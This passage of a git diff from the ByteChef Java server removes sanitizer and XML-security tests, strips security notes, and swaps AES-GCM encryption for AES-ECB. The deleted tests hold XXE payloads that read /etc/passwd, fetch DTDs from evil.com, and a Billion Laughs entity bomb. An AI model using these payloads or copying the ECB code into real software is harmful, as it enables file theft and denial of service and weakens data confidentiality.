-        assertThat(StringUtils.parseSqlTimestamp("not-a-timestamp")).isNull();
-    }
-
-    @Test
-    void testParseSqlTimestampEmptyString() {
-        assertThat(StringUtils.parseSqlTimestamp("")).isNull();
-    }
-
-    @Test
-    void testSanitizeOneParamNullValue() {
-        assertThat(StringUtils.sanitize(null)).isNull();
-    }
-
-    @Test
-    void testSanitizeOneParamEmptyString() {
-        assertThat(StringUtils.sanitize("")).isEmpty();
-    }
-
-    @Test
-    void testSanitizeOneParamBlankString() {
-        assertThat(StringUtils.sanitize("   ")).isEmpty();
-    }
-
-    @Test
-    void testSanitizeOneParamNormalValue() {
-        String input = "normal-session-id-12345";
-
-        assertThat(StringUtils.sanitize(input)).isEqualTo(input);
-    }
-
-    @Test
-    void testSanitizeOneParamCarriageReturn() {
-        String input = "value\rwith\rcarriage\rreturns";
-
-        assertThat(StringUtils.sanitize(input)).isEqualTo("value_with_carriage_returns");
-    }
-
-    @Test
-    void testSanitizeOneParamLineFeed() {
-        String input = "value\nwith\nnewlines";
-
-        assertThat(StringUtils.sanitize(input)).isEqualTo("value_with_newlines");
-    }
-
-    @Test
-    void testSanitizeOneParamCRLF() {
-        String input = "value\r\nwith\r\ncrlf";
-
-        assertThat(StringUtils.sanitize(input)).isEqualTo("value_with_crlf");
-    }
-
-    @Test
-    void testSanitizeOneParamLogInjectionAttempt() {
-        String maliciousInput = "session123\n[INFO] User admin logged in successfully";
-
-        String sanitized = StringUtils.sanitize(maliciousInput);
-
-        assertThat(sanitized).doesNotContain("\n");
-        assertThat(sanitized).isEqualTo("session123_[INFO]_User_admin_logged_in_successfully");
-    }
-
-    @Test
-    void testSanitizeOneParamComplexLogInjection() {
-        String maliciousInput = "value\r\n2025-01-17 12:00:00.000 [main] INFO - Fake log entry\r\nAnother fake";
-
-        String sanitized = StringUtils.sanitize(maliciousInput);
-
-        assertThat(sanitized).doesNotContain("\r");
-        assertThat(sanitized).doesNotContain("\n");
-        assertThat(sanitized)
-            .isEqualTo("value_2025-01-17_12_00_00.000_[main]_INFO_-_Fake_log_entry_Another_fake");
-    }
-
-    @Test
-    void testSanitizeOneParamOnlyCarriageReturns() {
-        String input = "\r\r\r";
-
-        assertThat(StringUtils.sanitize(input)).isEmpty();
-    }
-
-    @Test
-    void testSanitizeOneParamOnlyNewlines() {
-        String input = "\n\n\n";
-
-        assertThat(StringUtils.sanitize(input)).isEmpty();
-    }
-
-    @Test
-    void testSanitizeOneParamMixedContent() {
-        String input = "start\rvalue\nmiddle\r\nend";
-
-        assertThat(StringUtils.sanitize(input)).isEqualTo("start_value_middle_end");
-    }
-
-    @Test
-    void testSanitizeOneParamPreservesOtherWhitespace() {
-        String input = "value with\ttabs and   spaces";
-
-        assertThat(StringUtils.sanitize(input)).isEqualTo("value_with_tabs_and_spaces");
-    }
-
-    @Test
-    void testSanitizeOneParamWindowsForbiddenCharacters() {
-        String input = "file\\name:with*forbidden?chars\"<>|";
-
-        assertThat(StringUtils.sanitize(input)).isEqualTo("file_name_with_forbidden_chars_");
-    }
-
-    @Test
-    void testSanitizeTwoParamsNullValue() {
-        assertThat(StringUtils.sanitize(null, 10)).isNull();
-    }
-
-    @Test
-    void testSanitizeTwoParamsEmptyString() {
-        assertThat(StringUtils.sanitize("", 10)).isEmpty();
-    }
-
-    @Test
-    void testSanitizeTwoParamsBlankString() {
-        assertThat(StringUtils.sanitize("   ", 10)).isEmpty();
-    }
-
-    @Test
-    void testSanitizeTwoParamsNormalValue() {
-        String input = "normal-session-id-12345";
-
-        assertThat(StringUtils.sanitize(input, -1)).isEqualTo(input);
-    }
-
-    @Test
-    void testSanitizeTwoParamsWithLengthLimit() {
-        String input = "this is a very long string that should be truncated";
-
-        assertThat(StringUtils.sanitize(input, 20)).isEqualTo("this_is_a_very_long_");
-    }
-
-    @Test
-    void testSanitizeTwoParamsNoLengthLimit() {
-        String input = "this is a very long string that should not be truncated";
-
-        assertThat(StringUtils.sanitize(input, -1))
-            .isEqualTo("this_is_a_very_long_string_that_should_not_be_truncated");
-    }
-
-    @Test
-    void testSanitizeTwoParamsCarriageReturn() {
-        String input = "value\rwith\rcarriage\rreturns";
-
-        assertThat(StringUtils.sanitize(input, -1)).isEqualTo("value_with_carriage_returns");
-    }
-
-    @Test
-    void testSanitizeTwoParamsLineFeed() {
-        String input = "value\nwith\nnewlines";
-
-        assertThat(StringUtils.sanitize(input, -1)).isEqualTo("value_with_newlines");
-    }
-
-    @Test
-    void testSanitizeTwoParamsCRLF() {
-        String input = "value\r\nwith\r\ncrlf";
-
-        assertThat(StringUtils.sanitize(input, -1)).isEqualTo("value_with_crlf");
-    }
-
-    @Test
-    void testSanitizeTwoParamsCRLFWithLengthLimit() {
-        String input = "value\r\nwith\r\ncrlf";
-
-        assertThat(StringUtils.sanitize(input, 15)).isEqualTo("value_with_crlf");
-    }
-
-    @Test
-    void testSanitizeTwoParamsWindowsForbiddenCharacters() {
-        String input = "file\\name:with*forbidden?chars\"<>|.txt";
-
-        assertThat(StringUtils.sanitize(input, -1)).isEqualTo("file_name_with_forbidden_chars_.txt");
-    }
-
-    @Test
-    void testSanitizeTwoParamsMultipleWhitespaces() {
-        String input = "multiple    spaces   and\ttabs";
-
-        assertThat(StringUtils.sanitize(input, -1)).isEqualTo("multiple_spaces_and_tabs");
-    }
-
-    @Test
-    void testSanitizeTwoParamsMultipleUnderscores() {
-        String input = "multiple___underscores____here";
-
-        assertThat(StringUtils.sanitize(input, -1)).isEqualTo("multiple_underscores_here");
-    }
-
-    @Test
-    void testSanitizeTwoParamsLeadingTrailingSpaces() {
-        String input = "   leading and trailing spaces   ";
-
-        assertThat(StringUtils.sanitize(input, -1)).isEqualTo("leading_and_trailing_spaces");
-    }
-
-    @Test
-    void testSanitizeTwoParamsComplexMixedContent() {
-        String input = "  file\\name:with*forbidden?chars\n\rand\ttabs  ";
-
-        assertThat(StringUtils.sanitize(input, -1))
-            .isEqualTo("file_name_with_forbidden_chars_and_tabs");
-    }
-
-    @Test
-    void testSanitizeTwoParamsLengthLimitShorterThanString() {
-        String input = "short";
-
-        assertThat(StringUtils.sanitize(input, 100)).isEqualTo("short");
-    }
-
-    @Test
-    void testSanitizeTwoParamsLengthLimitZero() {
-        String input = "test";
-
-        assertThat(StringUtils.sanitize(input, 0)).isEmpty();
-    }
-
-    @Test
-    void testSanitizeTwoParamsExactLengthLimit() {
-        String input = "exactly20characters!";
-
-        assertThat(StringUtils.sanitize(input, 20)).hasSize(20);
-    }
-
-    @Test
-    void testSanitizeTwoParamsPreservesNormalCharacters() {
-        String input = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
-
-        assertThat(StringUtils.sanitize(input, -1)).isEqualTo(input);
-    }
-}
diff --git a/server/libs/core/commons/commons-util/src/test/java/com/bytechef/commons/util/XmlUtilsTest.java b/server/libs/core/commons/commons-util/src/test/java/com/bytechef/commons/util/XmlUtilsTest.java
deleted file mode 100644
index a1f16fbb17a..00000000000
--- a/server/libs/core/commons/commons-util/src/test/java/com/bytechef/commons/util/XmlUtilsTest.java
+++ /dev/null
@@ -1,160 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.commons.util;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.assertj.core.api.Assertions.assertThatThrownBy;
-
-import java.io.ByteArrayInputStream;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-import java.util.List;
-import org.junit.jupiter.api.BeforeAll;
-import org.junit.jupiter.api.Test;
-import tools.jackson.dataformat.xml.XmlMapper;
-
-/**
- * @author Ivica Cardic
- */
-class XmlUtilsTest {
-
-    @BeforeAll
-    static void setUp() {
-        XmlUtils.setXmlMapper(new XmlMapper());
-    }
-
-    @Test
-    void testXxeAttackWithExternalEntityIsBlocked() {
-        // XXE attack payload attempting to read /etc/passwd
-        String xxePayload = """
-            <?xml version="1.0" encoding="UTF-8"?>
-            <!DOCTYPE foo [
-                <!ENTITY xxe SYSTEM "file:///etc/passwd">
-            ]>
-            <root>
-                <data>&xxe;</data>
-            </root>
-            """;
-
-        InputStream inputStream = new ByteArrayInputStream(xxePayload.getBytes(StandardCharsets.UTF_8));
-
-        // Should throw exception because DOCTYPE is disallowed
-        assertThatThrownBy(() -> XmlUtils.readList(inputStream, "/root/data"))
-            .isInstanceOf(RuntimeException.class);
-    }
-
-    @Test
-    void testXxeAttackWithParameterEntityIsBlocked() {
-        // XXE attack with parameter entity
-        String xxePayload = """
-            <?xml version="1.0" encoding="UTF-8"?>
-            <!DOCTYPE foo [
-                <!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">
-                %xxe;
-            ]>
-            <root>
-                <data>test</data>
-            </root>
-            """;
-
-        InputStream inputStream = new ByteArrayInputStream(xxePayload.getBytes(StandardCharsets.UTF_8));
-
-        assertThatThrownBy(() -> XmlUtils.readList(inputStream, "/root/data"))
-            .isInstanceOf(RuntimeException.class);
-    }
-
-    @Test
-    void testBillionLaughsAttackIsBlocked() {
-        // Billion Laughs (exponential entity expansion) attack
-        String billionLaughs = """
-            <?xml version="1.0" encoding="UTF-8"?>
-            <!DOCTYPE lolz [
-                <!ENTITY lol "lol">
-                <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
-                <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
-                <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
-            ]>
-            <lolz>&lol4;</lolz>
-            """;
-
-        InputStream inputStream = new ByteArrayInputStream(billionLaughs.getBytes(StandardCharsets.UTF_8));
-
-        assertThatThrownBy(() -> XmlUtils.readList(inputStream, "/lolz"))
-            .isInstanceOf(RuntimeException.class);
-    }
-
-    @Test
-    void testXxeWithExternalDtdIsBlocked() {
-        // External DTD reference
-        String xxePayload = """
-            <?xml version="1.0" encoding="UTF-8"?>
-            <!DOCTYPE root SYSTEM "http://evil.com/malicious.dtd">
-            <root>
-                <data>test</data>
-            </root>
-            """;
-
-        InputStream inputStream = new ByteArrayInputStream(xxePayload.getBytes(StandardCharsets.UTF_8));
-
-        assertThatThrownBy(() -> XmlUtils.readList(inputStream, "/root/data"))
-            .isInstanceOf(RuntimeException.class);
-    }
-
-    @Test
-    void testValidXmlWithoutDoctypeWorks() {
-        // Valid XML without DOCTYPE should work
-        String validXml = """
-            <?xml version="1.0" encoding="UTF-8"?>
-            <root>
-                <item>value1</item>
-                <item>value2</item>
-            </root>
-            """;
-
-        InputStream inputStream = new ByteArrayInputStream(validXml.getBytes(StandardCharsets.UTF_8));
-        List<?> result = XmlUtils.readList(inputStream, "/root/item");
-
-        assertThat(result).isNotNull();
-        assertThat(result).hasSize(2);
-    }
-
-    @Test
-    void testSimpleXmlRead() {
-        String simpleXml = "<root><name>test</name><value>123</value></root>";
-
-        var result = XmlUtils.read(simpleXml);
-
-        assertThat(result).isNotNull();
-        assertThat(result).containsKey("name");
-        assertThat(result.get("name")).isEqualTo("test");
-    }
-
-    @Test
-    void testXmlWithProcessingInstructionWorks() {
-        String xmlWithPi = """
-            <?xml version="1.0" encoding="UTF-8"?>
-            <root>
-                <data>test value</data>
-            </root>
-            """;
-
-        InputStream inputStream = new ByteArrayInputStream(xmlWithPi.getBytes(StandardCharsets.UTF_8));
-        List<?> result = XmlUtils.readList(inputStream, "/root/data");
-
-        assertThat(result).isNotNull();
-    }
-}
diff --git a/server/libs/core/encryption/encryption-impl/src/main/java/com/bytechef/encryption/EncryptionImpl.java b/server/libs/core/encryption/encryption-impl/src/main/java/com/bytechef/encryption/EncryptionImpl.java
index 71a6604e75f..05233df7e9c 100644
--- a/server/libs/core/encryption/encryption-impl/src/main/java/com/bytechef/encryption/EncryptionImpl.java
+++ b/server/libs/core/encryption/encryption-impl/src/main/java/com/bytechef/encryption/EncryptionImpl.java
@@ -18,43 +18,20 @@
 
 import com.bytechef.commons.util.EncodingUtils;
 import com.bytechef.encryption.exception.InvalidEncryptionKeyException;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.nio.ByteBuffer;
 import java.nio.charset.StandardCharsets;
 import java.security.Key;
-import java.security.SecureRandom;
 import java.util.Arrays;
 import javax.crypto.BadPaddingException;
 import javax.crypto.Cipher;
-import javax.crypto.spec.GCMParameterSpec;
 import javax.crypto.spec.SecretKeySpec;
 import org.springframework.stereotype.Component;
 
 /**
- * Encryption implementation using AES-GCM for new encryptions and backwards-compatible decryption of legacy AES-ECB
- * data.
- *
- * <p>
- * New encryptions use AES-GCM which provides:
- * <ul>
- * <li>Confidentiality (encryption)</li>
- * <li>Integrity (authentication tag prevents tampering)</li>
- * <li>No pattern leakage (random IV for each encryption)</li>
- * </ul>
- *
- * <p>
- * Legacy ECB-encrypted data (without version prefix) is still decryptable for backwards compatibility during migration.
- *
  * @author Ivica Cardic
  */
 @Component
 public class EncryptionImpl implements Encryption {
 
-    private static final String GCM_VERSION_PREFIX = "v2:";
-    private static final int GCM_IV_LENGTH = 12;
-    private static final int GCM_TAG_LENGTH = 128;
-    private static final SecureRandom SECURE_RANDOM = new SecureRandom();
-
     private final EncryptionKey encryptionKey;
 
     public EncryptionImpl(EncryptionKey encryptionKey) {
@@ -64,95 +41,36 @@ public EncryptionImpl(EncryptionKey encryptionKey) {
     @Override
     public String decrypt(String encryptedString) {
         try {
-            if (encryptedString.startsWith(GCM_VERSION_PREFIX)) {
-                return decryptGcm(encryptedString.substring(GCM_VERSION_PREFIX.length()));
-            } else {
-                // Legacy ECB decryption for backwards compatibility
-                return decryptLegacyEcb(encryptedString);
-            }
-        } catch (BadPaddingException badPaddingException) {
-            throw new InvalidEncryptionKeyException("Invalid encryption key", badPaddingException);
-        } catch (InvalidEncryptionKeyException e) {
-            throw e;
-        } catch (Exception exception) {
-            throw new RuntimeException(exception);
+            Cipher cipher = getCipher(Cipher.DECRYPT_MODE);
+
+            return new String(cipher.doFinal(EncodingUtils.base64Decode(encryptedString)), StandardCharsets.UTF_8);
+        } catch (BadPaddingException bpe) {
+            throw new InvalidEncryptionKeyException("Invalid encryption key", bpe);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
         }
     }
 
     @Override
     public String encrypt(String content) {
         try {
-            return GCM_VERSION_PREFIX + encryptGcm(content);
-        } catch (Exception exception) {
-            throw new RuntimeException(exception);
-        }
-    }
-
-    /**
-     * Encrypts content using AES-GCM with a random IV. Format: base64(IV + ciphertext + auth_tag)
-     */
-    private String encryptGcm(String content) throws Exception {
-        byte[] iv = new byte[GCM_IV_LENGTH];
-
-        SECURE_RANDOM.nextBytes(iv);
-
-        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
-        Key secretKey = getSecretKey();
-        GCMParameterSpec gcmSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
-
-        cipher.init(Cipher.ENCRYPT_MODE, secretKey, gcmSpec);
-
-        byte[] ciphertext = cipher.doFinal(content.getBytes(StandardCharsets.UTF_8));
-
-        // Combine IV and ciphertext (auth tag is appended to ciphertext by GCM)
-        ByteBuffer buffer = ByteBuffer.allocate(iv.length + ciphertext.length);
+            Cipher cipher = getCipher(Cipher.ENCRYPT_MODE);
 
-        buffer.put(iv);
-        buffer.put(ciphertext);
-
-        return EncodingUtils.base64EncodeToString(buffer.array());
-    }
-
-    /**
-     * Decrypts content encrypted with AES-GCM. Expected format: base64(IV + ciphertext + auth_tag)
-     */
-    private String decryptGcm(String encryptedString) throws Exception {
-        byte[] encryptedData = EncodingUtils.base64Decode(encryptedString);
-
-        // Extract IV
-        byte[] iv = Arrays.copyOfRange(encryptedData, 0, GCM_IV_LENGTH);
-
-        // Extract ciphertext (includes auth tag)
-        byte[] ciphertext = Arrays.copyOfRange(encryptedData, GCM_IV_LENGTH, encryptedData.length);
-
-        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
-        Key secretKey = getSecretKey();
-        GCMParameterSpec gcmSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
-
-        cipher.init(Cipher.DECRYPT_MODE, secretKey, gcmSpec);
-
-        return new String(cipher.doFinal(ciphertext), StandardCharsets.UTF_8);
+            return EncodingUtils.base64EncodeToString(cipher.doFinal(content.getBytes(StandardCharsets.UTF_8)));
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
     }
 
-    /**
-     * Decrypts content encrypted with legacy AES-ECB mode. Kept for backwards compatibility with existing encrypted
-     * data.
-     */
-    @SuppressFBWarnings({
-        "CIPHER_INTEGRITY", "ECB_MODE"
-    })
-    private String decryptLegacyEcb(String encryptedString) throws Exception {
+    private Cipher getCipher(int encryptMode) throws Exception {
         Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
-        Key secretKey = getSecretKey();
 
-        cipher.init(Cipher.DECRYPT_MODE, secretKey);
+        byte[] decodedKey = EncodingUtils.base64Decode(encryptionKey.getKey());
 
-        return new String(cipher.doFinal(EncodingUtils.base64Decode(encryptedString)), StandardCharsets.UTF_8);
-    }
+        Key secretKey = new SecretKeySpec(Arrays.copyOf(decodedKey, 16), "AES");
 
-    private Key getSecretKey() {
-        byte[] decodedKey = EncodingUtils.base64Decode(encryptionKey.getKey());
+        cipher.init(encryptMode, secretKey);
 
-        return new SecretKeySpec(Arrays.copyOf(decodedKey, 16), "AES");
+        return cipher;
     }
 }
diff --git a/server/libs/core/encryption/encryption-impl/src/main/java/com/bytechef/encryption/package-info.java b/server/libs/core/encryption/encryption-impl/src/main/java/com/bytechef/encryption/package-info.java
deleted file mode 100644
index aef135ca3ab..00000000000
--- a/server/libs/core/encryption/encryption-impl/src/main/java/com/bytechef/encryption/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright 2023-present ByteChef Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-@NullMarked
-package com.bytechef.encryption;
-
-import org.jspecify.annotations.NullMarked;
diff --git a/server/libs/core/encryption/encryption-impl/src/test/java/com/bytechef/encryption/EncryptionTest.java b/server/libs/core/encryption/encryption-impl/src/test/java/com/bytechef/encryption/EncryptionTest.java
index 514c81f3e03..0c2fdf4da17 100644
--- a/server/libs/core/encryption/encryption-impl/src/test/java/com/bytechef/encryption/EncryptionTest.java
+++ b/server/libs/core/encryption/encryption-impl/src/test/java/com/bytechef/encryption/EncryptionTest.java
@@ -16,90 +16,23 @@
 
 package com.bytechef.encryption;
 
-import static org.assertj.core.api.Assertions.assertThat;
-
+import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.api.Test;
 
 /**
- * Tests for encryption implementation including GCM mode and legacy ECB backwards compatibility.
- *
  * @author Ivica Cardic
  */
-class EncryptionTest {
+public class EncryptionTest {
 
     private static final Encryption ENCRYPTION = new EncryptionImpl(() -> "tTB1/UBIbYLuCXVi4PPfzA==");
 
     @Test
-    void testEncryptDecryptRoundtrip() {
-        String originalText = "test text";
-
-        String encrypted = ENCRYPTION.encrypt(originalText);
-        String decrypted = ENCRYPTION.decrypt(encrypted);
-
-        assertThat(decrypted).isEqualTo(originalText);
-    }
-
-    @Test
-    void testEncryptedValueHasGcmPrefix() {
-        String encrypted = ENCRYPTION.encrypt("text");
-
-        assertThat(encrypted).startsWith("v2:");
-    }
-
-    @Test
-    void testEncryptProducesDifferentOutputsForSameInput() {
-        // GCM uses random IV, so same input should produce different ciphertext
-        String encrypted1 = ENCRYPTION.encrypt("same text");
-        String encrypted2 = ENCRYPTION.encrypt("same text");
-
-        assertThat(encrypted1).isNotEqualTo(encrypted2);
-    }
-
-    @Test
-    void testDecryptLegacyEcbFormat() {
-        // Legacy ECB-encrypted value (without v2: prefix)
-        String legacyEncrypted = "EQuGMfU8kiNQIxJ/Y0xoeg==";
-
-        String decrypted = ENCRYPTION.decrypt(legacyEncrypted);
-
-        assertThat(decrypted).isEqualTo("text");
+    public void testEncrypt() {
+        Assertions.assertEquals("EQuGMfU8kiNQIxJ/Y0xoeg==", ENCRYPTION.encrypt("text"));
     }
 
     @Test
-    void testEncryptDecryptEmptyString() {
-        String encrypted = ENCRYPTION.encrypt("");
-        String decrypted = ENCRYPTION.decrypt(encrypted);
-
-        assertThat(decrypted).isEmpty();
-    }
-
-    @Test
-    void testEncryptDecryptLongText() {
-        String longText = "a".repeat(10000);
-
-        String encrypted = ENCRYPTION.encrypt(longText);
-        String decrypted = ENCRYPTION.decrypt(encrypted);
-
-        assertThat(decrypted).isEqualTo(longText);
-    }
-
-    @Test
-    void testEncryptDecryptSpecialCharacters() {
-        String specialChars = "Hello 世界 🎉 <>&\"'\\n\\t";
-
-        String encrypted = ENCRYPTION.encrypt(specialChars);
-        String decrypted = ENCRYPTION.decrypt(encrypted);
-
-        assertThat(decrypted).isEqualTo(specialChars);
-    }
-
-    @Test
-    void testEncryptDecryptJsonContent() {
-        String jsonContent = "{\"key\": \"value\", \"number\": 123, \"nested\": {\"array\": [1, 2, 3]}}";
-
-        String encrypted = ENCRYPTION.encrypt(jsonContent);
-        String decrypted = ENCRYPTION.decrypt(encrypted);
-
-        assertThat(decrypted).isEqualTo(jsonContent);
+    public void testDecrypt() {
+        Assertions.assertEquals("text", ENCRYPTION.decrypt("EQuGMfU8kiNQIxJ/Y0xoeg=="));
     }
 }
diff --git a/server/libs/core/evaluator/evaluator-impl/src/main/java/com/bytechef/evaluator/SpelEvaluator.java b/server/libs/core/evaluator/evaluator-impl/src/main/java/com/bytechef/evaluator/SpelEvaluator.java
index efe35e0564a..e2da962e8a9 100644
--- a/server/libs/core/evaluator/evaluator-impl/src/main/java/com/bytechef/evaluator/SpelEvaluator.java
+++ b/server/libs/core/evaluator/evaluator-impl/src/main/java/com/bytechef/evaluator/SpelEvaluator.java
@@ -18,7 +18,6 @@
 
 package com.bytechef.evaluator;
 
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.time.temporal.ChronoUnit;
 import java.util.ArrayList;
 import java.util.Collections;
@@ -49,29 +48,10 @@
 /**
  * Task evaluator implementation which is based on Spring Expression Language for resolving expressions.
  *
- * <p>
- * <b>Security Note:</b> SpEL expression evaluation is an intentional core feature of the workflow engine. Workflow
- * creators use SpEL expressions to define data transformations, conditional logic, and dynamic value resolution within
- * their automation workflows. The SPEL_INJECTION suppression is appropriate because:
- *
- * <ul>
- * <li>Expression evaluation is the primary purpose of this component</li>
- * <li>Expressions are authored by workflow creators who have trusted access to the platform</li>
- * <li>Input validation is performed via {@code validateTextExpression} and {@code validateFormulaExpression}</li>
- * <li>Method invocation is restricted to a whitelist of safe operations via {@code methodResolver()}</li>
- * </ul>
- *
- * <p>
- * The REDOS suppression is for the regex patterns used for expression validation. These patterns are designed to be
- * safe and are applied to bounded workflow expression strings.
- *
  * @author Arik Cohen
  * @author Ivica Cardic
  * @since Mar 31, 2017
  */
-@SuppressFBWarnings({
-    "SPEL_INJECTION", "REDOS"
-})
 public class SpelEvaluator implements Evaluator {
 
     private static final Logger logger = LoggerFactory.getLogger(SpelEvaluator.class);
diff --git a/server/libs/core/file-storage/file-storage-filesystem-service/src/main/java/com/bytechef/file/storage/filesystem/service/FilesystemFileStorageService.java b/server/libs/core/file-storage/file-storage-filesystem-service/src/main/java/com/bytechef/file/storage/filesystem/service/FilesystemFileStorageService.java
index dcacd59ec02..9d456155d9a 100644
--- a/server/libs/core/file-storage/file-storage-filesystem-service/src/main/java/com/bytechef/file/storage/filesystem/service/FilesystemFileStorageService.java
+++ b/server/libs/core/file-storage/file-storage-filesystem-service/src/main/java/com/bytechef/file/storage/filesystem/service/FilesystemFileStorageService.java
@@ -21,7 +21,6 @@
 import com.bytechef.file.storage.exception.FileStorageException;
 import com.bytechef.file.storage.service.FileStorageService;
 import com.bytechef.tenant.TenantContext;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.io.ByteArrayInputStream;
 import java.io.File;
 import java.io.IOException;
@@ -52,12 +51,6 @@ public class FilesystemFileStorageService implements FileStorageService {
 
     private final Path baseDirPath;
 
-    /**
-     * <b>Security Note:</b> Path traversal is intentional for this component. The baseDir parameter is sourced from
-     * application configuration properties ({@code bytechef.file-storage.filesystem.base-path}), not from untrusted
-     * user input. This allows deployment-specific storage location configuration.
-     */
-    @SuppressFBWarnings("PATH_TRAVERSAL_IN")
     public FilesystemFileStorageService(String baseDir) {
         this.baseDirPath = Paths.get(baseDir);
     }
@@ -304,13 +297,6 @@ private static String removeUrlPrefix(String url, String directory) {
         return url.replace(URL_PREFIX + "/" + directory + File.separator, "");
     }
 
-    /**
-     * <b>Security Note:</b> Path traversal is intentional for this component. This service manages file storage for
-     * workflow artifacts and is designed to access files under a configured base directory. File paths are derived from
-     * tenant context and internal directory parameters, not from untrusted user input. Access control is handled
-     * through tenant isolation.
-     */
-    @SuppressFBWarnings("PATH_TRAVERSAL_IN")
     private Path resolveDirectoryPath(String directory) {
         try {
             Path tenantDirectoryPath = baseDirPath.resolve(TenantContext.getCurrentTenantId());
diff --git a/server/libs/core/file-storage/file-storage-filesystem-service/src/test/java/com/bytechef/platform/file/storage/filesystem/service/FilesystemFileStorageServiceTest.java b/server/libs/core/file-storage/file-storage-filesystem-service/src/test/java/com/bytechef/platform/file/storage/filesystem/service/FilesystemFileStorageServiceTest.java
index 70c184e637f..ff6c6835778 100644
--- a/server/libs/core/file-storage/file-storage-filesystem-service/src/test/java/com/bytechef/platform/file/storage/filesystem/service/FilesystemFileStorageServiceTest.java
+++ b/server/libs/core/file-storage/file-storage-filesystem-service/src/test/java/com/bytechef/platform/file/storage/filesystem/service/FilesystemFileStorageServiceTest.java
@@ -18,7 +18,6 @@
 
 import com.bytechef.file.storage.domain.FileEntry;
 import com.bytechef.file.storage.filesystem.service.FilesystemFileStorageService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.io.ByteArrayInputStream;
 import java.io.File;
 import java.io.IOException;
@@ -31,7 +30,6 @@
 /**
  * @author Ivica Cardic
  */
-@SuppressFBWarnings("PATH_TRAVERSAL_IN")
 public class FilesystemFileStorageServiceTest {
 
     private static final String TEST_STRING = "test string";
diff --git a/server/libs/core/message/message-broker/message-broker-amqp/src/main/java/com/bytechef/message/broker/amqp/boot/AmqpMessageBrokerEnvironmentPostProcessor.java b/server/libs/core/message/message-broker/message-broker-amqp/src/main/java/com/bytechef/message/broker/amqp/env/AmqpMessageBrokerEnvironmentPostProcessor.java
similarity index 93%
rename from server/libs/core/message/message-broker/message-broker-amqp/src/main/java/com/bytechef/message/broker/amqp/boot/AmqpMessageBrokerEnvironmentPostProcessor.java
rename to server/libs/core/message/message-broker/message-broker-amqp/src/main/java/com/bytechef/message/broker/amqp/env/AmqpMessageBrokerEnvironmentPostProcessor.java
index c7673749055..8bf596a0385 100644
--- a/server/libs/core/message/message-broker/message-broker-amqp/src/main/java/com/bytechef/message/broker/amqp/boot/AmqpMessageBrokerEnvironmentPostProcessor.java
+++ b/server/libs/core/message/message-broker/message-broker-amqp/src/main/java/com/bytechef/message/broker/amqp/env/AmqpMessageBrokerEnvironmentPostProcessor.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.bytechef.message.broker.amqp.boot;
+package com.bytechef.message.broker.amqp.env;
 
 import java.util.HashMap;
 import java.util.Map;
@@ -44,7 +44,7 @@ public void postProcessEnvironment(ConfigurableEnvironment environment, SpringAp
                 "spring.autoconfigure.exclude",
                 StringUtils.join(
                     environment.getProperty("spring.autoconfigure.exclude"),
-                    ", org.springframework.boot.amqp.autoconfigure.RabbitAutoConfiguration"));
+                    ",org.springframework.boot.autoconfigure.amqp.RabbitAutoConfiguration"));
         }
 
         MapPropertySource mapPropertySource = new MapPropertySource("Custom Rabbit Message Broker Config", source);
diff --git a/server/libs/core/message/message-broker/message-broker-amqp/src/main/resources/META-INF/spring.factories b/server/libs/core/message/message-broker/message-broker-amqp/src/main/resources/META-INF/spring.factories
index 710c90bb843..87484290c61 100644
--- a/server/libs/core/message/message-broker/message-broker-amqp/src/main/resources/META-INF/spring.factories
+++ b/server/libs/core/message/message-broker/message-broker-amqp/src/main/resources/META-INF/spring.factories
@@ -1,2 +1,2 @@
 org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.message.broker.amqp.boot.AmqpMessageBrokerEnvironmentPostProcessor
+com.bytechef.message.broker.amqp.env.AmqpMessageBrokerEnvironmentPostProcessor
diff --git a/server/libs/core/message/message-broker/message-broker-jms/src/main/java/com/bytechef/message/broker/jms/boot/JmsMessageBrokerEnvironmentPostProcessor.java b/server/libs/core/message/message-broker/message-broker-jms/src/main/java/com/bytechef/message/broker/jms/env/JmsMessageBrokerEnvironmentPostProcessor.java
similarity index 88%
rename from server/libs/core/message/message-broker/message-broker-jms/src/main/java/com/bytechef/message/broker/jms/boot/JmsMessageBrokerEnvironmentPostProcessor.java
